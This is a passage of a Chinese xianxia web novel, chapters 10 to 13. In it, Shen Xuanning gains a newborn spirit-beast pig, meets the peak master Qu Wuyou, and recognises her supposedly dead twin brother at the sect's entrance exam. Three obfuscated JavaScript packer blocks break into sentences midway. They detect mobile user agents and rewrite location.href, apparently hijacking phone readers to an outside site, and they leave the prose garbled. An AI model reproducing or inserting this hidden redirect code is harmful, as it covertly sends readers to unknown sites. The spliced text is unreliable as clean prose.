他不知何时已掠到近前,因为稍慢了一步,属于他的灵力就叠在了沈玄宁的光罩之上,两股强大的灵力瞬间压制得那头豹子四肢都趴在了地上,它徒劳地蹬了两下后终于再也起不来身。 不过片刻,它赤红的眼睛便褪去血色,粗重的喘息也渐渐变得平缓。 “这……这就好了?”曲新梨和赵琳琅捂着心口跑过来,看看趴在地上的灵兽,又看看沈玄宁,眼睛瞪得溜圆,“阿宁你怎么这么厉害?刚才那一下快得我都没看清!” 沈玄宁垂眼看到手心里流转的灵力已经消失,她定了定神转向身旁的谢疏言:“谢谢师兄。” 谢疏言微微颔首没说话,只是目光掠过那头灵兽时,眉头微不可察地蹙了一下。 几个追在后面的百灵峰弟子也迅速上前来,手脚麻利地用更粗的缚灵索重新捆住了这头银纹豹,生怕它再突然发疯。 “二师兄!”那几个弟子看到连柏在这里,立刻拱手行礼,脸上带着懊恼,“不知怎么回事,这链条明明是新换的,竟没困住它,让它给挣脱了,还差点伤了同门。” “我知道了。”连柏摆了摆手,目光落在银纹豹身上,道,“大花要变异了,近期力量本就不稳,极易失去神智,常云,换个高两阶的缚灵索吧。” “是,二师兄。” 大花?给一头威风凛凛的银纹豹取这种名字。 沈玄宁嘴角几不可见地抽了抽,默默吐槽了一下连师兄给灵兽取名字的品味。 “沈师妹,你们刚才做得很好。”连柏检查完银纹豹的状况,转向沈玄宁,“灵力控得很稳,既压制了它的躁乱,又没伤及它的本源。” “只是它已到了变异的临界点,按说平时都控制得很好,怎么今天就突然……”连柏有些困惑,话音未落猪壮壮忽然发出一阵急促的哼唧,身子猛地绷紧,肚子下面的软草渐渐被浸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117715|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿,显然是要生产了。 张伯连忙上前查看,沈玄宁也凑了过去,过了一会儿就见猪壮壮身下已有湿漉漉的小身影在蠕动,裹着层透明的黏液,正奋力往外挣。 “生了生了!”张老伯惊喜地低呼,粗糙的手掌小心翼翼地护在旁边,“不错,头胎就如此顺当啊!” 沈玄宁的注意力瞬间就被那个猪仔吸引过去,连刚平复下来的大花都支棱着耳朵,喉间发出低低的呜咽声音,张伯小心翼翼地托起这只粉嫩嫩的小猪仔,那小家伙挣扎着晃了晃脑袋,周身竟泛起淡淡的灵光。 “竟是二阶!”常云忍不住惊呼出声,“刚出生就是二阶灵兽!” 沈玄宁心头一跳,忽然明白了什么,她转头看向趴在地上的大花,果然见它望着那只小猪仔的方向,眼睛里又泛起了红光,喉咙里发出压抑的低吼,只是被灵力压制着,才没再次发狂。 “竟是二阶灵兽了,怪不得前几日都测不出来。”柏连也反应过来,恍然大悟道,“大花本就到了变异的临界点,这般纯净的幼生灵力,是灵兽的大补之物,何况它还这么弱小……” 修真界的灵兽等级森严,从一阶到七阶逐级递进,每一阶的差距都如同天堑。而凌驾于七阶之上的,便是传说中的天阶灵兽,那已是能与大乘期修士抗衡的存在了。 与凡人修士靠灵根来决定是否能修炼不同,灵兽的体质本就有无限可能,哪怕是头凡猪,若能常年服食千年灵参、万年雪莲的,也能硬生生堆出一阶修为,而凡人是怎么补都不可能补出一个可修炼的灵根来。 眼前这只小猪仔,竟直接以二阶灵兽的降生,实在是惊人。寻常灵兽要喂足好几年灵草才能勉强摸到一阶门槛,难怪大花失控想冲过来吃它。 “又生了又生了,丫头帮我抱会儿。”张伯低头一看,忙不迭把怀里的小家伙往沈玄宁怀里一塞又去给猪壮壮接生了。 沈玄宁猝不及防被塞了个软乎乎的小家伙,吓得胳膊一僵,差点没接稳。那小猪仔也就巴掌大,粉嫩嫩的皮肤透着水光,四只小蹄子不安分地扒拉着她的衣襟,竟挣扎着睁开了眼睛,同沈玄宁对视了片刻,突然亮了起来,喉咙里发出细弱的哼哼声,小脑袋还往她手心里蹭了蹭。 “诶?”连柏在一旁看着也是有些惊讶,他上前伸手探在了这小猪仔的头顶,又看了看沈玄宁,突然笑道,“沈师妹,恭喜你了。” 沈玄宁懵了:“啊?” 连柏道:“灵兽天生有灵,它刚降生便对你这般亲近,这可不是寻常缘分。降生便是二阶的灵兽,天生可当坐骑,只要好生养育,将来最少能成长为四阶灵兽,到那时,也能在斗法时为你助力。四阶灵兽便是寻常内门弟子,也未必有这等机缘。” “连师兄的意思是这头猪……啊不是,这个灵兽可以给我了?”沈玄宁小心地确认,低头又看了看冲她眨眼的小猪仔。 “应该是没问题的。”连柏点点头,“百灵峰虽豢养灵兽众多,但可供其他主峰弟子挑选的却很少。寻常内门弟子要想领一头灵兽,需得完成不少师门任务积累足够的功德点数才能兑换,更何况高阶灵兽,本就稀缺得很。” “你身为外门弟子,本没有领受灵兽的资格,不过——”连柏话锋一转,“宗门有一条规矩,优先于所有条件之上,那便是灵兽择主,所以师妹,我才说恭喜你了。” 沈玄宁万分惊喜:“多谢连师兄!我一定会好好待它的!” 天生的二阶灵兽啊,真是天上掉馅饼了! 虽说……是头猪吧,但好歹是能代步的灵兽,不管怎么样都比消耗灵力御剑要好啊!至于战斗就算了,沈玄宁压根也不指望一头猪帮她打架了,她还是很爱好和平的来着。 “这是自然的。不过这几日暂且让它留在母亲身边,等过段时间断奶了,我便把它连同灵兽契一道送去给你。”连柏眼底笑意更深:“对了,还有一事,凭着这只二阶灵兽,师妹只要能通过此次内门大考的灵力初测,便可直接入我百灵峰,不必参加后续任何考核了。” 周围的不少弟子闻言一片哗然。 沈玄宁却是又一阵头痛,这主峰直入名额已经拿了三个了,可是这个灵力初测凭现在这个刚突破炼气初期到底怎么过得去啊!!! 她低头看了看怀里睡得正香的小猪,忽然想起一件扎心的事。 二阶灵兽,差不多等同于人类修士的筑基修为。 也就是说,她现在的修为,竟然还不如这头猪。 11. 美人师尊 外门有个小弟子得了百灵峰一只刚出生就是二阶灵兽的事情,像长了翅膀似的,没半天就传到了内门,尹文霜听说那小弟子竟是沈玄宁时,在玲珑峰上蹿下跳地直骂连柏。 “太卑鄙了!简直太卑鄙了!什么灵兽择主?那二阶灵兽都相当于筑基了,小师妹就炼气初期的修为,就算是刚出生的幼崽那她也收不了啊,连柏看着老实巴交的,心眼怎么比柳问松还多?” 尹文霜夹带私货地一口气把两个人都给骂了。 正说着,刚刚完成师门任务回来的顾文竹摇着扇子,慢悠悠地踱了进来,刚跨过门槛就瞧见自家大师兄这颇不稳重的模样,不由得挑了挑眉:“大师兄这是怎么了?谁还能惹你气成这样?” 周文婷小声道:“让连柏师兄给气的。” “连柏?”顾文竹收起扇子,指尖敲了敲扇骨,“他这么老实还能惹我大师兄生气?说起来我刚从铁索桥那边过来还遇上他了,他正往外门去呢,说是去给一个外门的小弟子送灵兽。” 他顿了顿,语气里带着几分赞叹:“刚出生就是二阶的灵兽确实不错,还主动认了主,看来这一届外门人才辈出啊,还有人能得这般机缘的。” 周文婷:“……” 她扶额轻叹,对着顾文竹使眼色:“二师兄,此壶不开。” 顾文竹:“?” 周文婷:“是玄宁得了那二阶灵兽。” “哦哦,原来是玄宁小师妹啊。”顾文竹恍然大悟,又把扇子展开挡在嘴边,轻咳两声:“咳,厉害……不!连柏确实卑鄙,嗯,太卑鄙了。” 无辜的老实人连柏确实没有玲珑峰师兄妹三人组想得那么卑鄙,他真的只是按着规矩办事,灵兽择主确实是有直入百灵峰的资格,当然还是要过内门大考的灵力测试,并非完全的免试。 而这边得了灵兽的沈玄宁此刻正抱着这个猪仔左放右放哪都不得劲儿,赵琳琅和曲新梨早被萌得眼冒星星,两人围着沈玄宁都是抢着要抱。 “阿宁,给我抱抱嘛!” “我也要抱,宁宁,这太可爱了……” 沈玄宁按照连柏的说法,直接在灵兽契上按了手印,然后把小猪抱过来也按了个蹄印,灵兽契金光一闪这就算成功了,顺利得沈玄宁自己都不敢相信。 之前连柏走的还交代了,目前她的修为和灵兽差得比较多所以可能会有失败的情况,不过好在这个灵兽还小性情也温顺,便是不结契也问题不大。 沈玄宁趴在桌上单手托着脸看她们逗弄这小家伙:“得起个名吧?” 曲新梨忙着玩猪,随口问道:“叫什么?” 沈玄宁摸着下巴,眯起眼睛摆出一脸深沉的表情,半晌后一拍桌子,“叫猪大强吧。” 曲新梨:“……” 倒是赵琳琅认真点头附和:“挺好的。” “是吧!”沈玄宁顿时来了精神,“你看它刚出生就这么厉害,二阶灵兽呢,大强这名字多有气势,一听就不好惹!” 曲新梨放弃了和这个取名废计较,指尖轻轻挠了挠大强的肚皮,换了个话题:“阿宁,那你以后是要去百灵峰了吗?” “我不知道啊。”提起这茬沈玄宁就头疼,她靠在石桌上双手抱头,“我这修为能进吗?” “自然能进啊,大考在明年,到时候你也才十一岁,照你现在的修为肯定能过的啊。”曲新梨不解追问道,“你怎么这么说?” “我现在的修为……”沈玄宁掀起眼皮,看着两人,“我现在什么修为,你们知道吗?” 赵琳琅摇头:“你的修为我一直都看不透,郝长老不是说,当修为差距太大的时候,是看不出对方深浅的吗?” “我也看不出来。”曲新梨跟着点头,“难道你比我高很多?不过光凭你制服灵兽的那一手,修为肯定是比我高的。” 沈玄宁没说话,想了想以后把自己的手腕横在了曲新梨面前。 “什么意思?”曲新梨一脸疑惑地眨了眨眼,不明白这突如其来的动作。 “你探探看呢?”沈玄宁扬了扬下巴。 曲新梨虽然不解,但还是依言伸出手指,轻轻搭上了她的手腕,指尖刚一触碰到沈玄宁的脉门,她脸上的表情就瞬间凝固了。 她像是见了鬼一般瞪大了眼,失声惊呼:“炼气初期!!还是刚突破没多久的那种!这……这什么情况?!” 曲新梨猛地收回手,又不可置信地探了一次,结果还是一样。 “这不可能啊!”曲新梨抓着沈玄宁的手腕不放,急得声音都变了调,“你那天用灵力罩困住灵兽的时候我明明感觉到……你的修为怎么可能只是炼气初期?” 沈玄宁抽回手,无奈地耸耸肩:“所以我说我不知道啊,连师兄说要通过灵力测试才能进百灵峰,可这炼气初期,怎么看都悬得很。” “那怎么办……”曲新梨有些伤心地道,“我也想考百灵峰,我还想我们一起去内门呢。” “没事儿,这不是还有一年多么,我好好修炼呗。”沈玄宁说着,朝石桌上团成一团打盹的大强勾了勾手指,另一只手从锁灵囊里摸出个晶莹剔透的小玉瓶,“大强,吃不吃糖?” 沈玄宁已经习惯了借着炼丹的由头把空间里面那些现代的糖果都搓圆了带出来,这两日正巧搓了几瓶大白兔奶糖,大强似乎闻到了甜味,迷迷糊糊地朝着沈玄宁的方向挪了下小步子。 “也给我一颗。”曲新梨咂摸了一下味道,“你又去丹房炼丹了?这个真的好好吃啊,这什么丹啊?” “……有没有可能,这真的是糖,我没加药材。” 离内门大考只剩不到一年,外门的气氛明显紧张了起来,往日里总偷懒的弟子也变得勤快起来,但是修仙嘛,临时抱佛脚自然是不可能的。 沈玄宁依然是那个看起来只有练气初期刚突破的修为,不过她心态还不错,每天该修炼还是修炼,甚至还有心情炼一堆丹药问别人吃不吃糖。 吃不吃糖这句话在这两年已经成功进化成了炼丹狂魔沈玄宁的口头禅,她炼了丹药成日问别人吃不吃,周围的同门,从最开始争抢着吃尝鲜,到现在都淡淡的了。 实在因为沈玄宁现在炼丹速度太惊人了,而且空间里的糖又口味数量众多,她开一次炉坐一下午能偷偷摸摸地搓个几十瓶出来,当然她每次都是少量多次往外拿,别人并不知道她一次就能炼这么多。 其中最买账的依然是陆远声,乖宝宝炼什么糖吃什么糖,每次都悄无声息全吃了然后把干净的空瓶整整齐齐还给她,给谢疏言的瓶子倒是没见回来过。 这日丹房又只有沈玄宁一个人在偷偷炼丹,她脚边放了个木箱,里面摆了几十个瓷瓶,每一瓶都装得满满当当,丹炉里面还炼了一炉,此刻她正低着头在瓷瓶上用灵力刻字,把各种口味区分出来。 蹲在地上的她突然感觉到面前落下一片阴影。 沈玄宁心里咯噔一下,没想到这个点竟然会有人到丹房来,她脚边还有一大箱子的丹药没有收拾,这一看就知道她烧了多少药材,做贼心虚的沈玄宁缓缓抬起了头看向对面。 她腾地一下站了起来。 来人生的实在是极其好看,皮肤是那种近乎透明的白,想是常年居于室内少见日光,却并不显得病态。瞳仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117716|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是极浅的琥珀色,像盛着一汪秋水,望之便让人失了神,鼻梁高挺却因鼻尖有些许圆润而不显得凌厉,他的唇角噙着一抹笑,看起来竟有种说不出的缱绻。 他只穿了一身最普通的青色道袍,领口袖口连半分纹饰都没有,并不华丽却自带一种矜贵出尘的气度,像是从画中走出来的谪仙,却又让人忍不住亲近。 沈玄宁光看第一眼就知道他是谁了,除了他,这样的容貌修真界也找不出第二个了。 栖霞峰峰主,曲无忧。 他就那样静静地站在那里,目光落在她脚边的木箱上。 沈玄宁有些手足无措,一方面是被曲无忧的美貌惊艳到了,另一方面当然还是因为地上一筐子罪证还在那边给紧张的,于是她一抬手飞速地收拾了现场,把地上所有的瓶瓶罐罐全部收到了储物袋里面。 曲无忧:“……” 掩耳盗什么铃!他什么都看见了好吗! “弟子……弟子拜见……”沈玄宁低头行礼,朝着曲无忧深深鞠躬,脑袋低着半天想不出该怎么称呼他,“拜见曲……曲……” 曲无忧挑眉:“拜见蛐蛐?” “不是不是。”沈玄宁摇头,情急之下她选了个尹文霜平时喊他的称呼,“无忧师叔。” “哈哈哈,怎么还叫上师叔了?”她这急中生乱的样子逗得曲无忧笑起来,他随意地坐在了旁边的石凳上,抬头看向还僵在原地的沈玄宁,语气带了点戏谑,“万一大考以后是喊我师尊呢?” “师尊?”沈玄宁咽了咽口水,升起一丝希望,栖霞峰峰主本人来了,是不是灵力初测可以不用考了,“可以吗?” “哎哎!先别叫师尊,这大考还没考呢,可不能坏了规矩。”曲无忧摆了摆手,一副心有余悸的模样小声嘀咕了一句,“不然我又要被我师妹骂了。” 沈玄宁心里那点侥幸破灭,得,这灵力测试是怎么也躲不过去了。 “坐啊,小朋友。”曲无忧冲着她的炼丹炉扬了扬下巴,“你这丹要糊了。” “噢噢!!是!”沈玄宁这才回过神,开炉把这一炉巧克力豆都倒到了玉盘里。 “你这丹药的颜色……”曲无忧拿了一颗起来看了看,“你炼这么多聚灵丹做什么?” 沈玄宁奇道:“……吃啊。” 曲无忧一噎:“也是。” 丹药炼出来可不就是吃的么,但也不用吃这么多吧,他还是头回见人把聚灵丹当零嘴,一炼就是几十瓶。 “小朋友,你可是想入我栖霞峰?”曲无忧捡了一颗巧克力豆塞进了嘴里,咂摸了一下味道以后又拿了一颗,你别说还挺好吃的。 沈玄宁诚实点头:“想的。” “唔——”曲无忧一颗接一颗往嘴里塞巧克力豆,沈玄宁就站在一旁巴巴地看着他塞了一嘴,“你这丹炼得味儿不错,就是……” 他的目光落在沈玄宁身上:“修为差一点。” “不过——”这一点沈玄宁真无法反驳了,曲无忧又吊了一下胃口,眼神亮晶晶地看着她,“这聚灵丹还是炼得很好吃的嘛,还有其他口味的吗?” “……有。”沈玄宁刚刚收起来的几十瓶曲无忧都看到了,自然是不能当不存在,她只能拿了几瓶出来。 “哎呀,小朋友很上道嘛,这怎么好意思呢。”曲无忧一边说着不好意思,一边把几个瓶子都收了起来然后起身摸了摸沈玄宁的头,“乖了,好好准备大考,我就先走了。” 曲无忧就这么没头没尾地来了一趟,还变相收了她的贿赂,沈玄宁也没搞懂他的意思。 这后门到底是给开还是不给开啊? 12.我的哥哥 赵琳琅近几日来叹气的次数越来越多了,连说话都带着股提不起劲儿的蔫气。 “马上就要内门大考了。”赵琳琅又叹了口气,“我一定是考不上的。” 赵琳琅说的是实话,以她的资质,要考进去确实是难如登天了,沈玄宁和曲新梨也不知如何安慰她,只能陪着一道坐着发愁,各愁各的。 “啊!对了!”沈玄宁的手在大强的头上抚摸着,忽然想起了什么,她一拍猪头:“不如,我们也去要一份季时雨的考点来看看?” 说起考点,就又不得不说起季时雨那个神经了,这家伙仗着自己是忘忧峰季长老的子侄,不知从哪里弄来了些大考的边角消息,竟拿出来炫耀,明里暗里透些考题方向,引得一群弟子围前围后地讨好。 “啊?”赵琳琅眼睛一亮,听到季时雨的名字眼神又黯淡了些,“可是,季师兄能给咱们吗?他似乎每次瞧见我们都厌烦得很。” 沈玄宁咳嗽了一声,这事儿吧主要是赖她,谁能想到,那嚣张跋扈的世家公子竟然真的怕鬼怕得要死,而且还很记仇,这都大半年了连半个字都没和沈玄宁说过。 这要说去找季时雨要考点,确实是有点难度,第一是沈玄宁遭他鄙视,这第二嘛主要是因为她们也没什么好东西能贿赂季时雨。 赵琳琅耷拉着肩膀道:“算了吧宁宁,就算知道九峰考点,我这修为怕是过不了第一关的灵力测试,也没啥用……” 不过很快,她们竟然不费吹灰之力就得了这份考点。 因为季时雨传播得实在夸张,他每给一个人塞考点,都要煞有介事地叮嘱一句“千万别告诉别人”,偏生这世上最藏不住的就是这种被标上秘密的话,人传人以后一下子整个外门都几乎是知道了。 沈玄宁再度扶额,不懂这样的一个蠢货,到底怎么才能害谢疏言。 靠着四处发丹药,沈玄宁在外门人缘颇为不错,是以她没费多少功夫,就从几个交好的师兄弟那边搜罗到不少季时雨透露的考题,再加上自己从那本书中翻到的些许关于大考的情节,一番比对筛选后,竟真总结出一份像模像样的备考指南。 玲珑峰考的是聚灵阵的灵力节点推算图,与修为多少倒是没有太大关系,也难怪尹文霜说是能包她进去,画这个她是不在话下的。 栖霞峰考核内容自然离不开炼丹,符天峰则是当场绘制三张指定符咒等等,沈玄宁翻到了最后一页,问剑峰的倒是最简单粗暴,以自身最强灵力汇于剑锋,劈砍玄铁柱,依裂痕深浅定优劣。 至于怎么样的程度算通过,倒是无人知晓,毕竟已经多年没有人真考进问剑峰了。 曲新梨道:“这问剑峰这考核也太简单了吧?就砍一剑,怎么算通过也不说么?” 沈玄宁道:“很可能是,怎么都不通过吧。” 曲新梨哎了一声:“算了,谁管这问剑峰,我可想都不敢想啊,也不知道什么样的人能通过问剑峰的考核啊。” 闻言沈玄宁看了一眼陆远声,他正垂眸看着地面,月光勾勒出他清瘦却挺拔的轮廓,按照书中所写他是这届大考的榜首,所以阿梨马上就能知道,什么样的人能通过问剑峰考核了。 知道陆远声的去向她也就不问了,沈玄宁比较好奇谢疏言打算去哪儿,便是问道:“谢师兄,你打算考哪儿?” 谢疏言的目光在沈玄宁脸上扫过,却不答反问:“你呢,你准备去哪儿?” 沈玄宁:“若是能考进,自然是栖霞峰最好。” 谢疏言笑道:“嗯,若是能进,自是栖霞峰最好。” “真的吗?若是我们能一起进就是真的师兄妹了,以后可以日日一起修行炼丹!”沈玄宁高兴得抓了一下谢疏言的袖子,没想到他也会选择考栖霞峰。 此刻她是真觉得高兴,有谢疏言在,陆远声黑化的几率大大下降,他们一起看着陆远声,那可真是再好不过了。 “好。” “据说内门大考第一日,九峰峰主都会来。”曲新梨托着腮,一脸向往,“我真想看看栖霞峰的峰主到底长什么样?还有流云仙子迟非晚,据说他们二人同出一门,生得都是惊为天人。” 沈玄宁道:“流云峰峰主迟非晚?” 曲新梨道:“是啊,她在九峰峰主里面修为排行第三,是逍遥宗最强的女修,听说当年她一人一剑,就荡平了盘踞在血喙岭的妖兽巢穴。” 赵琳琅听得咋舌:“这么厉害啊?那她排第三,前两位是?” 赵吉利笑道:“阿姐,前两位的那自然是宗主鹤游子还有问剑峰峰主明真子啊,他二人均已到达炼虚之境,也是当世修为最高的几人。” “炼虚境,炼虚之后便是大乘境,再之后那可真是要成仙了。”沈玄宁托着下巴喃喃道,“修士若真能勘破桎梏,到达踏仙境,便可神魂永生,与天地同寿,也不知是真是假?我看各派典籍中那些已达踏仙境的老祖,大多都渺无音讯了,有的闭关千年再未出世,有的说是飞升了,却连半点痕迹都没留下,永生……也许真的只是个传说吧。” 谢疏言道:“也未必是传说。” 沈玄宁道:“哦?师兄你知道什么吗?” 谢疏言道:“不过是翻阅古籍时偶然瞥见的只言片语。踏仙非仙,却是为道之终途,或许并不是世俗认知里的永生,而是与道合一,不再受限于形骸罢了。” 赵吉利听得一头雾水:“谢师兄这话有些深奥,我没听懂。” 沈玄宁用大白话道:“意思是,这人消失了未必就是死了,踏仙境作为修仙的最终境界,可能是脱离身躯,以灵魂永生。” “哎,想那么远做什么,咱们现在连一个筑基修为的都没有呢,玄宁的猪都筑基了,我们几个现在都比它修为还低……”曲新梨龇牙咧嘴,“反正我这辈子是不可能修到踏仙境的,我现在只求能考进内门,好好给我爹爹长脸就成了。” “禁止用大强人身攻击!”说到筑基,沈玄宁问道:“诶,阿声,你是不是快筑基了?” “尚未。”陆远声摇了摇头,“炼气大圆满。” “嘶——” 曲新梨几人闻言都是齐齐倒吸一口凉气。 炼气大圆满!这意味着离筑基只有一步之遥了! 沈玄宁在心里啧啧两声,果然不愧是男主啊,十四岁就炼气大圆满,马上就要筑基,这天赋,确实让人望尘莫及。 谢疏言道:“筑基讲究水到渠成,不必急于一时,你根基扎实,倒是比旁人更稳些。” 陆远声抬眸,对谢疏言微微颔首:“嗯。” 内门大考当日。 逍遥宗三年一度的大日子,确实是热闹非凡。 这来参加考核的人比沈玄宁想象得还要多,攒动的人潮里混杂着许多生面孔。 参考这次内门大考的不光是这一届的弟子,往届的未能通过大考的弟子他们也会来,其中有些人住在山下,有些人则是回家自行修炼去了,还有些身着锦缎道袍的修士,腰间挂着各式家族玉佩,他们是仙门世家的子弟,一般都会留在家中修炼,不算正式入门,只当个逍遥宗外门的记名弟子,因此也拥有考核资格。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124093|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只是这其中不少人鬓角已见霜色。 炼气修士的寿数不过百载,只比凡人多上二三十年而已,若是终其一生无法筑基,青丝成雪不过是转眼的事,所谓仙途,到头来或许只是一场空。 想要挣脱凡俗衰老的桎梏,起码要修到金丹境,才能借灵力滋养肉身,真正做到容颜不老,寿数延至五百载。可这世间修士如过江之鲫,能走到金丹境的又有几人? 怕是万中无一。 当然今日各路修士齐聚,最重要的也是因为这内门大考的第一日,逍遥宗九峰峰主都会出现。 除了求一个进内门的机缘,也有的是为了一睹九峰峰主的风采。许多人明知自己修为不够,考不上内门,却仍特意赶来,只为看一眼这些站在修真界顶端的人物,哪怕只是远远瞧着,也算是了却一桩心愿。 沈玄宁几人被裹挟在涌动的人潮里,和众人一同翘首以盼。 忽然,周遭的空气似有若无地凝滞了一瞬,伴着着灵力波动,几道身影竟已悄无声息地出现在演武广场最前方的高台上,仿佛从未移动过,瞬间攫住了全场的目光。 为首的中年男子正是逍遥宗宗主鹤游,他一袭灰色道袍,领口与袖缘用银线绣着几只仙鹤,乌发仅用一根普通的木簪松松挽着,瞧着像位寻常山间隐士,他脸上是温和的笑意,可当他平和的眼神扫过全场时,却让原本躁动的人群,莫名安静了几分。 鹤游左侧站着的正是曲无忧,他依旧是那张惹眼的脸,刚一出现,这台下的女修们情绪都激动了不少,他嘴角噙着笑,目光在人群里扫了一圈,像是在找什么人。 而鹤游的右侧,则是一位容色极盛的女修。她穿着一袭浅蓝色的纱衣,精心梳就的发髻上点缀着几支同色的繁花玉簪,与纱衣相映成辉,耳畔坠着的银链流苏随着她的动作轻轻摇晃。 明明生得是颠倒众生的相貌,可她一双眼却亮若寒星,周身萦绕的凌厉气场将那份艳色压下去大半,让人不敢在她面前有半分造次。 沈玄宁猜这位应当就是流云峰峰主迟非晚,那么后面两位就是逍遥宗另外的两位女峰主,玲珑峰的峰主素问还有戒律峰峰主叶守柔。 正打量着,沈玄宁觉得迟非晚的神情有些僵硬,她嘴唇明明没动,却微微侧过头,目光越过鹤游,极快地给了曲无忧一个白眼。沈玄宁觉得他们应该在用传音术说话,只是不知道说的什么。 她挨个扫过剩下的人,根据他们的衣着特点,和书里的描述一一对应猜出了是谁,分别是符天峰峰主方不夷、百灵峰峰主韩知止还有扶疏峰峰主何须静。 可她数来数去,高台上总共只有八个人。 还差一个。 问剑峰峰主,明净。 正四处张望着,沈玄宁突然看到一男一女两个人快步上前,他们没有登上高台,只是在台下行礼,看模样像是在向鹤游禀报着什么。 沈玄宁的视力自修炼后早已远超常人,可是此刻她却觉得自己有些眼花。 她不可置信地瞪大了眼,又使劲揉了揉,直到眼眶发红,才终于看清了其中一人的侧脸,和她记忆深处那张脸重合得丝毫不差。 那一瞬间,沈玄宁感觉全身的血液都在倒流,心脏像是被一只无形的手攥紧,她几乎透不过气,一股难以言喻的情绪顺着四肢百骸蔓延开来,让她浑身止不住地发抖。 沈玄宁缓缓眨了一下眼睛,眼泪顷刻像断了线的珠子,怎么也停不住。 那人—— 分明就是她死去多年的双胞胎哥哥。 沈玄清。 13.内门大考 因为陆远声和谢疏言都离得有些远,站在旁边的曲新梨第一个发现了她的异状。 “阿宁?阿宁你怎么了?”曲新梨被她吓了一跳,见她眼泪掉得厉害,连忙掏出手帕给她擦脸,“你是不是哪里不舒服?” 沈玄宁摇着头,嘴唇哆嗦着,却一个字也说不出来。她的目光依然死死黏在那道身影上,待他那禀报完事后,朝鹤游行了一礼后转身和身边的同门一起退到高台侧面,恰好正脸对着人群的方向,她看到哥哥抬手理了理衣襟,动作从容不迫,全然是一副久居宗门的熟稔模样。 是他。 眉眼、动作、神态,都和记忆里一模一样。 “你怎么了,宁宁?”赵琳琅也立刻察觉了她的异样,伸手搓了搓她的胳膊,“你是不是太紧张了?要不我们先去角落里缓一缓?” “我没事。”沈玄宁胡乱抹了几下脸,随口胡扯道,“刚不知道是哪位道友的迷香,把我眼睛给熏着了,实在造孽。” 曲新梨和赵琳琅见沈玄宁眼眶泛红,知她不愿多说也不再追问,只是时不时担忧地看她一眼。 鹤游就像现代大学那些校长发表开学演讲一样,讲了几句勉励的话,无非是恪守规矩之类的,但沈玄宁已经心神大乱到一个字都听不进去了。 末了鹤游抬手拂过袖摆,扬声道:“修行之路,贵在本心。尽己所能便无愧于心,老夫也在这里先预祝各位,心想事成了。” 话音落下,高台两侧的淡蓝色结界如流水般缓缓升起,露出后面整齐排列的考核区域,这是所有人都要参与的第一关,灵力修为测试,这也是所有考核里人数最多的一项,为了尊重个人隐私,每个人都是单独测试。 每个结界面前都有两名引导弟子,向着来人一一介绍:“请进入结界内完成灵力初考,通过者可领取灵玉书简。此玉简只需注入一丝灵力即可认主,凭此简方可参与九峰各自的考核。待一切考核结束后,请在玉简上用灵力写下心仪主峰的名字,若被选中进入第三轮,玉简便会自行亮起传讯,若未被选中,七日之后灵力耗尽,会化为一枚普通玉佩,各位也可留作纪念。” 沈玄宁的测试点被安排在最边缘,离人群这边倒是有些距离,赵琳琅有些不放心地看着她:“宁宁,要不我陪你一起过去?” 沈玄宁深吸一口气,刚才翻涌的情绪已渐渐平复了些,她摇了摇头:“不用了,你们不用管我。” “那我也先过去了!”曲新梨想了想道,“我就在那边,离你最近!测完我马上过来找你,你等着我,别乱跑!” 沈玄宁点点头,看着曲新梨和赵琳琅的身影汇入人流后转身往高台处走去。 刚才哥哥就站在高台之下,她想再看清楚些,只是还没等走近,就被两名引导弟子拦住了,其中一位穿绿色衣衫的师姐抬手示意:“这位师妹,再往前可不能去了哦,你的灵力考核结束了吗?” 沈玄宁的目光越过她们,看见哥哥正低头与身边的女子说着什么,她的声音带着一丝不易察觉的颤抖:“……这位师姐,敢问你可知那位师兄是谁?” “谁?”青衫师姐顺着她的视线望过去,一眼就瞧见了沈玄宁注视的人,露出一抹了然的笑,“哦,原来是玄清师兄。” “玄清师兄?”沈玄宁瞳孔骤缩,几乎不敢相信自己的耳朵,她追问道,“师姐刚刚说他……他叫什么?” “你竟不认得他?”师姐有些惊讶,随即解释道,“他是问剑峰明净师伯座下大弟子沈玄清,玄清师兄在内门可有名了,惦记他的师姐师妹可不少……” 竟连名字都一模一样。 沈玄宁只觉得脑子里似是有惊雷炸开,《藏心》的原著里根本就没有沈玄清这个人啊! 原著里写,问剑峰的大师兄自陆远声上山以来就从未露过面,偶尔被其他人提起,也只说他潜心修炼因此常年闭关,导致作者连个名字都吝啬赋予,原作里没有名字,到了现在这个世界却又变成了哥哥而且还在内门大考出现了。 这太不合常理了。 “师妹你没事吧?”见她脸色发白,绿衫师姐有些担忧地碰了碰她的胳膊,“可还能完成灵力初考?师妹?师妹……” 沈玄宁猛地回神,压下心头的惊涛骇浪,勉强朝师姐点了点头:“我没事,多谢师姐告知,我这就去测了。” 